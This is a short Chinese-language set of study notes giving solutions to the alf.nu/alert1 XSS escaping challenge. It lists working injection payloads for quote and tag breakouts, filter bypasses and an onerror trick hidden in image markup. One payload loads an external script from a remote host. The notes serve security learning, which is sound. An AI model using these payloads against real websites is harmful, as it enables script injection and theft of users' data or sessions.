xss逃逸(一)

网址:http://alf.nu/alert1
之后补详细xixi

  1. 闭合括号
    ");alert(1)("
  2. 正则用\”替换”,再加上\使正则失效
    \");alert(1)//
  3. 闭合script标签
    </script><script>alert(1)//
  4. 插入a标签,并且自动执行
    %22);alert(1)//
    火狐下好像做不了
  5. 火狐下做不了
    • 首先,对于任何输入,先过滤掉<和”变为实体编码&lt和&quot。
    • 如果字符串中有包含http://开头的字符串,例如http://xiao.world则变为<a href="http://xiao.world">http://xiao.world</a>
    • 如果字符串中包含[[img_src|img_alt]]格式的字符串,则变为<img alt="img_alt" src="this_src.git">
    • 输入:[[a|http://onerror='alert(1)]]
      经过规则一转换后:[[a|<a href="http://onerror='alert(1)']]">http://onerror='alert(1)']]</a>
      再经过规则二转换: <img alt="<a href="http://onerror='alert(1)'" src="a.gif">">http://onerror='alert(1)']]</a>
      感谢HTML语言松散的特性,以上即相当于: <img alt="<a href=" http:="" onerror="alert(1)" "="" src="a.gif">
      再精简一点,只看关键部分: <img alt="<a href=" onerror="alert(1)" src="a.git">
      至此,大功告成😄。
      solution(31 chars): [[a|http://onerror='alert(1)']]
  6. 不是很懂怎么逃逸的
    '#';alert(1)//
  7. 转换成大写了,标签内可以用实体编码
    <script src="https://xss.haozi.me/j.js"></script>